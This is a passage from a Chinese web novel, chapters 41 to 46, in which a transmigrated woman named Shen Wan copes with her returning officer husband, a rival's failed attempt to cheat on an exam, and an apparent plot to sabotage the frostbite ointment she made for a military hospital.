沈晚笔画流畅，嘴角微扬："小时候被外公逼着练的，说开方子的人字丑，病人看了都不敢吃药。" 她现在说的外公并不是原主的外公，而是自己现实世界中的外公，也不知道老爷子现在怎么样了。 沈晚突然很想家，心情也不由沮丧起来。 沈晚调整好心情，带上做好的冻疮膏去医院找董建林。 她这几天一共做了三十盒冻疮膏，因为是试用阶段，所以只做了小批量。 等确认疗效后，医院会投入药厂大批量生产，而她的药方也会作为"专利技术"卖给医院。 路过霍沉舟病房时，沈晚发现房门大开，下意识往里瞥了一眼。 意外地发现今天竟然是张思德在帮霍沉舟复查。 男人正慵懒地靠在病床上，领口随意地敞开着，露出线条分明的锁骨。他一只手枕在脑后，另一只手漫不经心地翻着文件，左腿支在床上，整个人透着股慵懒又危险的气质。 反观张思德，紧张得额头直冒冷汗。他不过是个实习医生，平时哪有资格给霍团长复查？可今天查房的医生却突然通知他，霍团长点名要他来做检查。 想到昨天那件事，张思德脸都吓白了，但又不敢不来。 张思德咽了口唾沫：“霍团长，您刚才说身体不舒服，有没有具体的部位？” 霍沉舟的视线缓缓从文件上移开，落在张思德脸上，似乎认真思考了一下：“好像有点心悸。” 张思德被吓了一跳：“心悸？” 这可不是小事，张思德举起听诊器，放在霍沉舟胸口上听了一会，并没有发现任何异常。 他擦了擦额头的冷汗："霍团长，您的心率、心音都很正常。如果真有不适，可能需要做个心电图。" 霍沉舟却摇了摇头："那可能是我感觉错了。"他揉了揉太阳穴，"现在有点头疼了。" “啊？头疼？” 张思德看着霍沉舟那张面无表情的俊脸，一时分不清他是真不舒服还是假不舒服。 门外的沈晚忍不住翻了个白眼，这男人分明是在故意刁难人家张医生，想到昨天那点小事，至于这么记仇吗？ 沈晚抱着药膏轻咳一声，霍沉舟这才注意到门口不知站了多久的小女人，眸色渐深。 张思德刚想惊喜地打招呼，又想到身旁的这个冷面罗刹，缩了缩脖子小声嗫嚅道："沈同志，你来了。" 沈晚冲他点点头，"张医生，你先去忙吧，这里交给我。" 张思德如蒙大赦："那麻烦你了！霍团长，我先走了。" 霍沉舟双手抱胸，从鼻子里"嗯"了一声。 等张思德逃也似的离开后，沈晚没好气地把药膏往床头柜一放："霍团长好大的官威啊？" 霍沉舟挑了挑眉："我怎么了？" "装什么装？"沈晚瞪他，"人家张医生都快被你吓死了！你难为人家一个实习医生干什么？" 霍沉舟缓缓勾起唇角："怎么，你心疼了？" 沈晚被气笑了：“霍沉舟，你幼不幼稚？张医生不过是跟我讨论了几句针灸，你就这么怕我在外面给你丢脸啊？” 第四十一章 苏琴杉考试滑铁卢 “丢脸？”霍沉舟一愣，有点不理解沈晚的脑回路，自己这么明显的吃醋她不懂，还要说他嫌弃她丢脸？ “对呀，你不就是怕我行为不检点，传出去让你丢脸吗？”沈晚小脸气呼呼的。 她今天扎了个低马尾，露出光洁饱满的额头，几缕碎发俏皮地垂在耳际，因为生气，那双杏眼瞪得圆圆的，眼尾微微上挑，像只炸毛的小猫，粉嫩的唇瓣因为嘟嘴显得更加饱满，泛着水润的光泽。 霍沉舟看着她这副娇嗔的模样，又想到昨天晚上的梦，声音沙哑：“我没有嫌你丢脸。” 沈晚皮笑肉不笑："我还要去找董院长，先走了。" 等她的身影消失在门口，霍沉舟揉了揉胀痛的眉心，大手在枕头底下掏出一盒"大前门"香烟。 他弹开铁盒，抽出一根叼在嘴里。 橘红的火苗映照着他棱角分明的侧脸，他微微低头，烟头凑近火焰，深吸一口，青白的烟雾从他薄唇间缓缓吐出，在空气中缭绕散开。 路过的林怡宁透过半开的房门，看见病床上的男人即使抽烟也帅得令人心跳加速——修长的手指夹着烟，喉结随着吞吐的动作上下滚动，微眯的凤眼里藏着说不出的性感。 林怡宁看着看着，脸颊不由泛起淡淡的红晕。 她轻吸一口气，抬手敲了敲门。 "进。"霍沉舟看见是她，声音冷淡。 林怡宁捋了捋额角的碎发，咬着下唇柔声道："沉舟，你怎么又抽烟了？是不是有什么烦心事，可以告诉我的。" 霍沉舟掸了掸烟灰："没有。" "院长说你的腿恢复得很好，"林怡宁观察着他的表情，小心翼翼地继续道，"很快就能出院回家静养了。你和沈晚不是快离婚了吗？两个人住在一起，难免会招来闲话……" 见霍沉舟没有打断，她鼓起勇气："我爸认识一个纺织厂的厂长，可以介绍沈晚过去工作。那里条件不错，还有员工宿舍。" 霍沉舟的眸色变得阴沉，冷冷道：“林医生，你有关心我家事的时间，不如多精进下医术。免得又发生上次那种医疗事故。” 上次那件事导致她一直被医院里的其他医生护士嘲笑，没想到连霍沉舟都这么说，林怡宁的眼眶顿时红了：“霍沉舟！” “出去！”霍沉舟没有丝毫心软。 林怡宁再也待不下去，擦着眼角的泪水转身跑了。 沈晚来到董建林办公室，却发现没人。 询问值班的小护士才知道，董院长去外院交流指导，今天怕是回不来了。 "同志，"小护士突然叫住转身要走的沈晚，"我认得你，你是霍团长的爱人吧？" 见沈晚点头，她眼睛一亮，"院里都说你医术可厉害了！你是要送东西给院长吗？要不先放我这？等他回来我帮你转交。" 沈晚婉拒了："谢谢，不过还是我亲自交给他比较放心。" 等沈晚走远，躲在拐角处的林怡宁立刻冲出来，一把拽住小护士的胳膊，尖锐的指甲掐进对方肉里："沈晚来找董院长干什么？" 小护士疼的“嘶”了一声，嗫嚅道："林、林医生……沈同志就是来送些药膏样品..." "什么药膏？给我看看！" 小护士怯生生地摇头："她没留下，说要亲自交给董院长。" "废物！"林怡宁猛地甩开她的手，小护士踉跄着撞在墙上。 林怡宁盯着沈晚离去的方向，眼中闪过一丝阴狠。 小贱人，既然你这么喜欢出风头，我就帮你加点料！ …… 晚上，精疲力竭的顾战推开家门，看见苏琴杉正伏在桌前背书。 顾战看着苏琴杉专注的侧脸，想到早上沈同志和他说的话，心里挣扎起来，到底要不要和琴杉把话敞开说清楚。 "阿战！"苏琴杉发现他回来，立刻伸了个懒腰迎上来，亲昵地揽住他的胳膊，"今天我背了一整天的书呢，好累呀~" 顾战看着她疲惫却强撑笑容的模样，到嘴边的话又咽了回去："辛苦了，今晚我做饭。" 苏琴杉双手背在身后，歪着头俏皮地眨了眨眼："那我想吃你做的酸菜炖猪肉！" 顾战爽朗一笑，挽起袖子："没问题！" "我就知道你对我最好了。"苏琴杉甜甜地说。 晚饭后，顾战收拾着碗筷催促道："琴杉，早点休息吧，明天还要早起考试。" 苏琴杉乖巧地点头："好，我这就去睡。" 次日一大早，顾战还想送苏琴杉去参加宣传科的文员考试。 苏琴杉却反常地拒绝了："阿战，你平时训练那么忙，霍团长不是还让你巡山吗？我自己去就行。" "可是……"顾战还想说什么。 "我先走啦！"苏琴杉已经拿起准备好的布包，冲他挥挥手快步离开。 她来到师部宣传科的办公楼前，这里已经聚集了十几位来考试的女同志，有几位是家属院的军属，更多的是城里的知识青年，个个打扮得体。 她们有的还在抓紧最后时间背诵复习资料，看上去十分紧张。 苏琴杉却胸有成竹地站在一旁，嘴角挂着自信的微笑——这个宣传文员的工作，非她莫属！ 等待的时间，苏琴杉左顾右看，想找童程鹏在哪，可是找来找去都没看见他。 好不容易等到考试时间，一位戴眼镜的女干事拿着名单走出来："各位同志请安静，现在开始点名入场。考试分笔试和面试两部分，笔试内容包括时事政治、基础文化知识和公文写作。" 听到都是童程鹏和她说过的题型，苏琴杉更放松了。 女干事推了推眼镜：“都跟我进来吧，考试期间严禁交头接耳，一经发现立即取消资格。” 苏琴杉跟着众人走进宽敞的考试间，当试卷发到手中时，她慢条斯理地先翻看了一遍—— 这一翻，她脸上的笑容瞬间僵住了。 虽然题型确实和童程鹏说的一样，但每道题目都完全不同！ 苏琴杉傻眼了，她来来回回把试卷翻了两遍，纸张哗啦作响的声音惊动了监考的女干事。 "同志，请你保持安静。"女干事皱着眉头走过来。 苏琴杉还抱着最后一丝希望："同志，这试卷是不是发错了？" 第四十二章 出院 女干事拿起她的试卷仔细看了看，狐疑地打量她："没错，就是这套题，你有什么问题吗？" 苏琴杉为了不引起怀疑，哆哆嗦嗦地拿起笔，看着面前的试卷，明明每个字她都认识，可是连在一起，却怎么也读不出连贯的意思。 笔试一塌糊涂，更别说面试了，她说话结结巴巴，那面试考官看她的眼神都不对了。 面试完，苏琴杉拦住一个宣传科的文员问：“童程鹏在哪间办公室？” 那文员奇怪地看了她一眼："有人举报童程鹏涉嫌泄题，现在正在接受调查呢，今天没来上班。你是他什么人啊？" 苏琴杉只觉得眼前一黑。 沈晚！一定是那个贱人举报的！ 苏琴杉浑浑噩噩地回到大院，李丽笑着喊她："琴杉，考完试啦？考得怎么样？以你的水平肯定能过！" 苏琴杉脸色难看，一言不发。 李丽这回总算有点眼力见儿了，赶紧清了清嗓子安慰道："琴杉啊，考不考得上都无所谓，反正你和顾营长快结婚了，他养三个你都绰绰有余……" "谁说我考不上的？！"苏琴杉突然尖声吼道。 李丽被这突如其来的爆发吓了一跳，苏琴杉向来都是温温柔柔的，哪里有过这么歇斯底里的时候？ 李丽尴尬地"呵呵"一笑："没说你考不上，琴杉你怎么这么大火哦？" 苏琴杉这才意识到自己失态了，攥紧手心强压下怒火，然后大步走向沈晚家，重重拍响房门。 沈晚刚打开门，还没看清来人，苏琴杉就直接挤进屋里，"砰"地一声关上了门。 李丽站在不远处啐了一口："怎么一个两个都往那个小贱人屋里钻？" 沈晚看清来人，虽然不知道发生了什么，可是苏琴杉脸色黑的跟锅底一样，，估计考试没考好，挑了挑眉：“有事吗？” 苏琴杉看见沈晚这张精致的小脸，心中更加愤恨，她举起右手，朝沈晚脸上扇去。 沈晚眼疾手快，一把扣住苏琴杉的手腕，反手就是一记响亮的耳光！ "啪！" 苏琴杉的脸被打得偏向一侧，白皙的脸颊上迅速浮现出清晰的五指红印。 她捂着脸，不可置信地瞪大眼睛："沈晚，你敢打我？！" "为什么不敢？"沈晚冷冷甩了甩发麻的手掌。 "我和你无冤无仇！"苏琴杉气得差点咬碎后槽牙，"你为什么要举报童程鹏，害我考试不过？！" 沈晚嗤笑一声："第一，我没举报任何人，但你作弊本来就是错的。第二，我劝你好好跟顾战过日子，不要再耍这些小心机，更不要招惹我，不然你恐怕连营长夫人也做不了了。" 苏琴杉听到这句话，瞳孔猛地一缩。 为什么这个沈晚给她的感觉如此诡异？整个家属院的人都喜欢她温婉贤惠的模样，唯独这个沈晚，从第一次见面就对她充满敌意。 她们明明素不相识，可沈晚看她的眼神，却仿佛能洞穿她所有的心思和算计。 一个可怕的念头在她脑海中闪过，难不成沈晚也和她一样是重生的？ 不可能！绝对不可能！ 苏琴杉强压下心中的惊骇。 她捂着脸一路跑回家，任凭李丽在后面怎么喊都不答应，一进门就扑在桌上嚎啕大哭。 傍晚顾战回来时，看到的就是这副景象——苏琴杉眼睛肿得像核桃，鼻头通红，桌上堆满了擦眼泪的纸团。 "琴杉？"顾战吓了一跳，连忙上前，"怎么了这是？谁欺负你了？" 苏琴杉抬起泪眼，抽抽搭搭地说："阿战，我考试可能过不了了。" 顾战闻言，紧绷的肩膀顿时放松下来："就为这个啊？"他好笑地揉了揉苏琴杉的发顶，"就算你一辈子不工作，我也养得起你。" 想起沈晚说的作弊一事，顾战心里暗自松了口气，都作弊了怎么可能还考不过？看来真是沈同志误会琴杉了。 "可是，"苏琴杉扑进顾战怀里，眼泪浸湿了他的军装前襟，"我不想给你丢脸。" 顾战拍了拍她的肩膀安慰道："这有什么丢脸的？就算你一辈子不上班，我也养得起你。别难过了。" 苏琴杉依偎在他怀里："阿战，你对我真好。" "洗把脸过来吃饭吧，"顾战松开她，"我在食堂打了你爱吃的酱牛肉。" 苏琴杉含泪点头，看着顾战的背影，她脸上的柔弱瞬间褪去。 现在童程鹏被举报调查，要是他把自己供出来就全完了！ 接下来的几天，苏琴杉偷偷打听童程鹏的情况。 所幸对方还不算太蠢，知道供出两人都得完蛋，现在咬死不承认作弊，虽然被记过处分，但至少没牵连到她。 * 霍沉舟的腿已经恢复得差不多，不再需要拐杖了，照常理说，他可以出院了，但沈晚一直没主动接他回来。 这天下午，沈晚估摸着这个点不会有人来，便没锁卧室门，只把窗帘拉得严严实实。 她打了一盆热水，脱掉外衣准备擦洗身子。 小背心被随手扔在炕上，露出原主这副凹凸有致的身材——饱满的胸脯，纤细的腰肢，白皙水嫩的肌肤。 沈晚不禁有些感叹，这可比现代自己那"一马平川"的身材好多了。 此时，大院里的人看见霍沉舟，都有些惊喜： “哎呀妈呀，霍团长回来了。” “看来这伤恢复的差不多了，那可太好了。” 霍沉舟微微颔首示意。 顾战想扶着他，却被拒绝了，现在虽然走得慢，但不仔细看，看不出右腿受伤了。 顾战不解道："团长，你回来咋不让沈同志来接啊？就这么自己悄默声回来了？" 霍沉舟瞥了他一眼："你觉得她想让我回来？" 顾战轻咳一声，"可这是您家啊，她还能拦着不让进不成？而且我看沈同志对你挺上心的，您住院这段时间，她可是亲力亲为照顾着，您可不能忘了。" 霍沉舟挑眉，这话怎么好像他是那个薄情寡义的男人一样？ 两人走到家门口，顾战掏出钥匙打开门，霍沉舟开始赶人了：“你先回去吧。” 顾战服从的“噢”了一声，刚想转身走，霍沉舟又叫住他，顾战开心地回头：“团长，你是不是要邀请我进屋坐坐？” “把钥匙给我。” 顾战：“……” 第四十三章 祖宗别哭了 霍沉舟进屋后，屋内静悄悄的，只有卧室门紧闭着，隐约传来水声。 他走到门前拧开把手，眼前的画面让他瞳孔骤缩： 沈晚背对着门站在床边，乌黑的长发松散地挽在脑后，几缕发丝垂落在修长的颈间。她正用毛巾轻轻擦拭身体，纤细的手臂抬起时牵动背部优美的肌肉线条，水珠顺着瓷白的肌肤缓缓滑落，划进腰窝处诱人的凹陷，微微侧身时，还能看见一道饱满的弧度。 听到动静，沈晚猛地回头，她看见来人，先是一愣：“霍沉舟？”。 然后才意识到自己现在是光着的状态，扯开嗓子，“啊！”了一声，慌忙扯过毛巾遮住胸口。 霍沉舟的喉结滚动，只觉得一股热血直冲头顶，呼吸瞬间粗重起来，眸色渐深。 看见沈晚惊慌失措的表情，霍沉舟猛地转身关上门，哑声道："抱歉！" 他站在门外，胸膛剧烈起伏，额角青筋直跳，刚才那惊鸿一瞥的画面在脑海中挥之不去，让他浑身燥热难耐。 屋内的沈晚羞愤欲绝，飞快地把衣服穿上，然后气呼呼地打开门：“霍沉舟，你变态啊！进屋不知道先敲门的吗？” 霍沉舟背对着她，身上的肌肉绷得紧紧的："抱歉。"他的声音带着一丝忍耐。 沈晚咬着嘴唇，眼眶不争气地红了。虽然原主和霍沉舟是夫妻，有过肌肤之亲，可她本质上还是个黄花闺女啊！ 被一个男人看光了身子，就算她是个现代人，也有点难以接受。 沈晚越想越气，攥紧拳头狠狠锤了一下霍沉舟的后背："混蛋！" 霍沉舟听见她带着哭腔的嗓音，心头猛地一颤。 他下意识转身，果然看见沈晚红着眼眶，泪水在杏眼里打转，要掉不掉的样子。 那一瞬间，霍沉舟感觉心脏像是被一只无形的手狠狠攥住。 他从未见过沈晚这副模样，又可怜又委屈，像受了天大的委屈。 "我……"他手足无措地站在原地，想伸手替她擦泪又不敢碰，"真的不是故意的。" 沈晚抬手擦掉眼尾的泪水，自从穿书以来积压的委屈在这一刻决堤，眼泪像断了线的珠子，怎么也止不住，想到穿书后的种种憋屈，她索性破罐子破摔地蹲在地上，把脸埋进臂弯里哭得更凶了。 霍沉舟看着她缩成小小一团、肩膀一抽一抽的样子，心都要碎了。 他想蹲下，但腿一弯就疼，只能站着，声音是从未有过的温柔："祖宗，别哭了好不好？" 见沈晚不理他，霍沉舟犹豫了一下，硬着头皮道："我今天看了你，肯定会对你负责的。" 沈晚猛地抬起头，哭红的眼睛瞪得圆圆的："谁要你负责！" 霍沉舟叹了口气："那你想怎么样？" 这话彻底把沈晚惹毛了，这男人把她看光了，居然还问她怎么办？她哪知道该怎么办！ 沈晚蓦地站起身，头也不回回了房间，把房门摔得震天响。 霍沉舟捏了捏胀痛的眉心，走到院子里透气。听了半天墙角的李丽凑过来："霍团长，刚回来就和沈晚吵架啦？" 霍沉舟对她态度还算好：“嫂子，我们俩没有吵架。” 李丽撇了撇嘴，屁，她刚才都听到沈晚哭的声音了，还有那摔门的声音，一听就是吵架了。 她观察了一下霍沉舟的神情，壮着胆子道：“霍团长，你不知道你不在家的这段时间，沈晚都要上天了，仗着自己那张脸蛋，和好几个男同志眉来眼去，之前还和顾营长单独出去一整天，上次大院来了个送信的小同志，她都要拉着人家往家里坐，啧啧啧，一看就是个不安分的主，幸好你和她快要离婚了，到时候再给小川找个贤惠能干的后妈，这日子不就越过越好？” 霍沉舟听着李丽说了一大堆贬低沈晚的话，又想到上次小川在医院和他说的话，脸色渐渐沉了下去。 李丽看着霍沉舟阴沉的脸色，心里暗自得意。 她清了清嗓子，故作关心道："霍团长，你还记得我那个文工团的表妹蒋雪吗？之前你还看过她的文艺汇演呢！" 她眉飞色舞地比划着，"那丫头又聪明又能干，人长得也水灵，最重要的是......" "够了。"霍沉舟冷声打断，眉宇间压着怒意，"李同志，我敬你是军属，但沈晚是我的妻子，轮不到别人说三道四，小川也不需要什么后妈，你说的蒋雪我也没有一点印象。沈晚和顾战一起去后山的事情是我允许的，不要让我再听见你造谣！” 李丽被霍沉舟凌厉的气势吓得一哆嗦，紧张地咽了口唾沫："我、我就是怕你被沈晚蒙蔽了。" 霍沉舟从牙缝里挤出一个字：“滚。” 李丽如芒在背，连忙跑了。 霍沉舟站在原地，胸口发闷。 他不过离开家属院半个月，沈晚竟然被传成这样！想到刚才哭成泪人的沈晚，他心口更疼了。 霍沉舟卷起袖子走进厨房，他之前自己一个人过，吃饭能凑合就凑合，所以厨艺一般般，只能做点家常菜。 青椒炒肉片，清炒小白菜，西红柿蛋汤。 沈晚在房间里整理好情绪，突然闻到一阵饭菜的香气，她正犹豫着要不要出去，房门突然被轻轻敲响。 "我给你做了饭，"霍沉舟低沉的声音隔着门板传来，"在锅里温着。饿了就吃，我去接小川。" 沈晚深吸一口气，猛地拉开门："你腿还没恢复好就到处乱跑，你要是想变成瘸子就早说，我当初就不辛辛苦苦救你了！" 沈晚一顿输出，但霍沉舟并没有丝毫不高兴，深邃的眉眼舒展开来，唇角噙着若有似无的笑意。 不知道为什么，沈晚竟从他眼神里看出一丝宠溺？ 沈晚哑火了，不自然地别过头：“我去接小川。” 霍沉舟望着她落荒而逃的背影，缓缓勾起唇角。 放学路上，霍小川听说爸爸出院了，兴奋地蹦蹦跳跳。 太好了，终于能每天一睁眼就看见爸爸妈妈啦！ 回到家，霍小川迫不及待地冲进屋里："爸爸！你出院怎么不喊我和妈妈去接你？你的腿已经好了吗？" 第四十四章 压抑、燥热 霍沉舟单手接住儿子，笑着刮了刮他的小鼻子："好多了。" 霍小川眼珠子滴溜溜一转："爸爸，那你今天晚上和我和妈妈一起睡吧！那张炕可大啦，咱们三个睡都绰绰有余！" 正在喝水的沈晚差点被呛到，立刻拒绝："不行，侧卧我已经收拾好了，伤员单独一个房间更利于养伤。" 霍小川失落了一瞬，但很快又打起精神，反正爸爸妈妈现在住在一起了，总能找到机会撮合他们！ 吃饭时，霍沉舟把饭菜端出来，沈晚看着面前色香味俱全的饭菜，有点惊讶他竟然还会做饭，她一直以为霍沉舟这种位居高位的军官，只吃食堂呢。 "尝尝。"霍沉舟夹了块肉片放到她碗里，"没你做的好吃。" 沈晚低头尝了一口，肉质鲜嫩，酱汁浓郁，火候掌握得恰到好处。 她实话实说："挺好吃的。" 霍沉舟闻言，嘴角微微上扬："那你多吃点。" 霍小川扒着饭，小脑袋埋进碗里偷笑。 饭后，霍沉舟刚站起身要收拾碗筷，右腿突然传来一阵刺痛，让他不自觉地皱了皱眉。 沈晚注意到他的表情，立刻猜到了原因。她没好气地夺过他手中的碗筷：“回屋躺着，你这腿现在不能久站久动。" 虽然沈晚不明说，但霍沉舟能感受到这种暗戳戳的关心，心情愉悦：“好，听你的。” 这温柔的语气让沈晚手一抖，胳膊上冒出了鸡皮疙瘩。 看着沈晚进了厨房，霍小川拉着霍沉舟进了主卧："爸爸你看，这就是我和妈妈睡觉的房间！" 房间收拾得格外整洁，还有一股若有若无的香气，是沈晚身上特有的那种香气。 霍沉舟不由又想到了下午看见的旖旎画面，心头痒痒的。 "爸爸你快坐！"霍小川拉着他坐到炕头，"这是妈妈的枕头，这是我的小枕头！" 之前霍沉舟也偶尔来大院住一晚，想到沈晚每天晚上就枕在自己枕过的枕头，盖着自己盖过的被子，他就感受到一股难言的燥热从下到上。 霍小川歪头：“爸爸，你怎么脸红了？” 霍沉舟单拳抵在嘴边轻咳一声：“没事，小川，爸爸不在的这段时间，妈妈有没有和哪个叔叔走得近？” 霍小川挠了挠后脑勺："顾叔叔算不算？" "他不算。" 顾战是他一手提拔的，品性自然没有问题。 霍小川仔细想了想：“没有，妈妈只和赵姨关系好，好多婶子都欺负妈妈，爸爸，你要替妈妈撑腰！” 霍沉舟想到李丽说的话，眼底闪过一丝冷意：“放心吧，我不会再让别人欺负你妈妈了。” 等到了睡觉时间，父子俩还在炕上搭积木。 沈晚打了个哈欠："该睡觉了，小川。" 霍小川依依不舍地摇了摇她的胳膊："妈妈，真的不能让爸爸和我们一起睡吗？" “不行哦。” 沈晚从柜子里抱出干净的被褥，一股脑塞到霍沉舟怀里，推着男人的后背往门外走，"你快点出去，我们要睡觉了。" 霍沉舟站在门口，怀里抱着松软的被褥。 一米八五的高大身躯此刻竟显出几分委屈，深邃的眼睛一瞬不瞬地盯着沈晚，活像只被主人赶出卧室的大狗狗。 沈晚被他盯得耳根发热，想要关门，霍沉舟一只胳膊不死心地挡在中间：“晚上我想上厕所怎么办？” 沈晚像是突然想起什么，转身从门后拿出一个搪瓷尿壶，白底蓝边，壶口还印着"第卫生所"几个褪色的红字。 "用这个吧，霍团长。"她笑眯眯地把尿壶往前一递。 霍沉舟盯着这个器具，太阳穴突突直跳。 他活了二十五年，从新兵蛋子到侦察兵王，什么时候用过这玩意儿？ "我不用这个。"他咬牙道。 沈晚无所谓地耸耸肩："那没办法，反正我是不会大冷天半夜扶你出去上公厕的。"说完把尿壶往门口一放，冲他摆摆手，"晚安咯~" 砰！" 门板差点拍在霍沉舟高挺的鼻梁上。 他碰了一鼻子灰，盯着地上那个尿壶看了半晌，最终认命地捡起来，黑着脸拎回了侧卧。 深夜，霍沉舟躺在滚烫的炕上，却怎么也睡不着。 他只要一闭眼，脑海中便全是沈晚那具白花花的身体，浑身燥热难耐。 "该死！" 霍沉舟深吸了几口气，却依然无法驱散脑海中那抹莹白。 他呼吸越发粗重，大手不受控制地向下探去...... 窗外寒风呼啸，屋内的霍沉舟额角沁出细密的汗珠，喉结滚动间溢出几声压抑的喘息。 "沈晚……" 他缠绵地念着这个名字，手上的动作却越来越快。 早上，沈晚看着尿壶里的液体，挑了挑眉：“你有点上火啊，最近也没给你喝参汤啊。” 霍沉舟："......" 他真想撬开这女人的脑袋看看里面装的什么。 霍沉舟虽然腿还没好利索，但是没有睡懒觉的习惯，把被子叠成豆腐块，来到院子里活动上半身。 隔壁的张德志看见他，惊喜地走过来："老霍！你这腿好了？" "没好利索。" "不急，"张德志笑呵呵地拍了拍他肩膀，"有沈同志在，你肯定能早日归队。" 霍沉舟挑眉："看来你很相信她？" "那当然！"张德志压低声音，"你这媳妇厉害得很！我和我媳妇结婚这么多年没孩子，她保证一个月内让我媳妇怀上！" 霍沉舟挑了挑眉，倒是没想到沈晚连妇科疑难都能治。 两人又寒暄几句，张德志热情邀约："正好你出院了，等抽空咱哥俩好好搓一顿？" "可以。"霍沉舟爽快应下。 送走张德志后，霍沉舟回到屋里，倚在门框上盯着正埋头捣药的沈晚："没想到你还会看不孕不育？" 沈晚觉得他大惊小怪："中医讲究整体调理，又不是只会治跌打损伤。" 霍沉舟似笑非笑：“这也是你外公教你的？” 沈晚心里咯噔一下，心想这男人不会察觉到什么了吧，她有点心虚地说：“当然了。” 霍沉舟不置可否。 第四十五章 冻疮膏出问题？ 下午，沈晚和赵晓燕一起去上厕所，两个人胳膊挽胳膊，说点女人之间的私房话。 沈晚在赵晓燕耳边低语："赵姐，你最近和张大哥那事怎么样？光靠我调理可不行，你们也得加把劲啊。" 赵晓燕难得红了脸，轻轻点头："挺好的。" 沈晚促狭地眨眨眼："那我就等着你们的好消息啦！" 赵晓燕羞赧地推了沈晚一把："你别光说我了！现在霍团长都搬回来了，你们俩就别闹别扭了。" 她意味深长地挤挤眼，"我看霍团长对你也挺好的，你一个女人要是离了婚日子可不好过，不如跟霍团长好好过日子。而且你长得这么水灵，哪个男人看了不心动？你就稍微使点手段，那霍团长还不乖乖听你的话？" 沈晚听着赵晓燕的话，想到昨天下午霍沉舟看她的眼神，充满欲望与侵略性，跟饿狼见了肉似的，不禁耳尖微红： “我们情况不一样。” 赵晓燕敏锐地察觉到沈晚的不对劲，精神一振：“你怎么脸红了？妹子，你和霍团长是不是有情况啊？” 沈晚立刻摇头：“当然没有！我们都是分房睡的。” 两人说说笑笑的模样，恰好被路过的李丽看见。 她翻了个白眼，拉着旁边的苏琴杉咬耳朵："真不知道赵晓燕为什么这么相信沈晚那个小贱人，我好心好意给她一个能怀孕的土方子，她倒好，一点都不领情，我看她是被那小贱人灌了迷魂汤了！" 苏琴杉盯着沈晚明媚的笑脸，恨恨地咬了咬后槽牙。 这一次，她没有像往常那样为沈晚辩解，只是冷冷地"嗯"了一声。 李丽奇怪地看了她一眼："琴杉，上次你从沈晚家哭着跑出来，是不是那个狐狸精欺负你了？问你你也不说，你说出来，咱们一起去找霍团长评理！" 苏琴杉眼神飘忽，上次本来就是她自己作弊差点被抓包，说出来岂不是自己给自己挖坑？ 她扯出一抹苦笑："嫂子，你就别问了……是我自己不小心……跟沈同志没关系。" 她垂下眼帘，看上去可怜兮兮："再说，霍团长那么护着她，咱们去说也没用。" 李丽见她这副模样，虽然满腹狐疑，也只能作罢："行吧行吧，你不愿意说就算了。" 等沈晚上完厕所回到家，一个戴着眼镜的年轻女护士急匆匆跑来："沈同志，董院长有急事找您，让您马上去趟办公室！" 沈晚看着护士焦急的神色，忍不住蹙眉，前几天她明明已经把冻疮膏的样品和完整配方都交给董院长了，难不成出什么岔子了？ 霍沉舟眸光微沉，似乎也想到了什么："你去吧。" 沈晚点点头，快步跟着护士离开。 路上，沈晚忍不住问小护士："同志，到底出什么事了？" 小护士左右看了看，压低声音："听说，有人用了你的冻疮膏后皮肤溃烂。" 沈晚脚步一顿，这不可能！ 她的配方绝对安全，前世在临床上用过无数次！ 除非有人动了手脚。 等到了医院，往日热情打招呼的医生护士们纷纷避开沈晚的视线。 唯有张思德快步迎上来："沈同志！我相信你的药膏没问题，你不要太紧张，等董院长查清楚，一切就水落石出了。" 沈晚冲他感激地笑了笑。 站在董建林办公室门口的林怡宁倚在墙上，红唇勾起一抹得意的弧度，眼中满是幸灾乐祸：“哟，这不是我们的"神医"吗？可算来了，我还以为出了这种事，你不敢来了呢。” 沈晚定定地看着林怡宁，没说话。 要说这医院里谁和她有过节，估计也就只有林怡宁了，这事八成就是她搞的鬼。 林怡宁见沈晚沉默，以为她被吓住了，心里一阵畅快："我早就提醒过院长，不要相信你这个小贱人！现在果然出事了。" 沈晚轻笑一声："我的药膏有没有问题，我自己心里清楚。药方早就交给董院长备案了，如果有问题我愿意负责，但是我相信某些人更清楚我这药膏到底有没有问题。" 林怡宁看着她这幅似乎看透一切的神情，从鼻孔里冷哼一声："你就嘴硬吧！出了这种医疗事故，连沉舟都护不住你。" 此时，办公室内传出董建林的声音：“是沈同志吧，进来。” 沈晚冷冷扫了林怡宁一眼，径直从她身边走过，故意用肩膀狠狠撞了她一下，林怡宁猝不及防，踉跄着后退两步，差点摔倒。 "你！" 林怡宁愤愤地瞪了她一眼。 沈晚推开门，看见董建林正坐在办公桌前，面前正摆着她的药房和冻疮膏，看来他也在研究问题出在哪里。 看见沈晚进来，董建林推了推眼镜，语气温和：“沈同志，今天叫你来不是为了责怪你。你的能力我们有目共睹，这冻疮膏也是经过杨主任和周首长批准的，就是想叫你一起来找出问题所在。” 沈晚了然地点头："院长，我相信我的药方不会有问题。" "我看这配方也很精妙，"董建林叹了口气，"但奇怪的是，有三名战士用了之后，患处不仅没好转，反而出现红肿溃烂的情况。" 沈晚听着他的描述，暂时也猜不到什么原因，"院长，能把问题药膏给我看看吗？" 董建林推过来三个铝制药盒："都在这里了。" 沈晚接过药盒，先用指尖沾了一点药膏，在指腹间轻轻捻开。 原本应该呈现淡褐色的药膏，此刻颜色却微微发黄。 她凑近闻了闻，除了透骨草的辛香和雪莲的清冽外，还混着一丝若有若无的刺鼻气味。 她眉心紧蹙，又用指甲挑了一点放入口中尝了尝，舌尖立刻传来异常的苦涩感。 沈晚心中此时已经有了猜测，她抬起头："院长，这药膏被人动了手脚。我想去看看患者的伤口，就能确定里面掺了什么。" 董建林闻言大惊："你的意思是有人故意陷害？" 这事说大不大，说小也不小，所幸只是一些治冻疮的药膏，没有造成什么实质性伤害，但是可见此人的心地有坏。 第四十六章 牵手 沈晚淡淡道："有没有人陷害，一查便知。" 董建林一拍桌子："好！我现在就带你去查个明白。" 他脸色铁青，"如果真的有人敢在药品上动手脚害人，我董建林第一个不答应！非得把这害群之马揪出来严惩不可！" 两人刚出办公室，就见林怡宁还等在外面。 她立刻迎上来："院长，你这是要去哪？" 董建林沉声道："我们去看看病患。怡宁，那三个战士还等在大厅？" 林怡宁扬起下巴："院长，这还有必要去看吗？很明显就是沈晚给的药膏出了问题，我看直接处分她就够了，人家战士也不能为了等她耽误自己的训练进度，我已经开了药让他们回去了。" 董建林愠怒道："胡闹！医疗事故岂能如此草率处理？患者症状都没亲眼确认就下结论，你这是哪门子的医德？！" 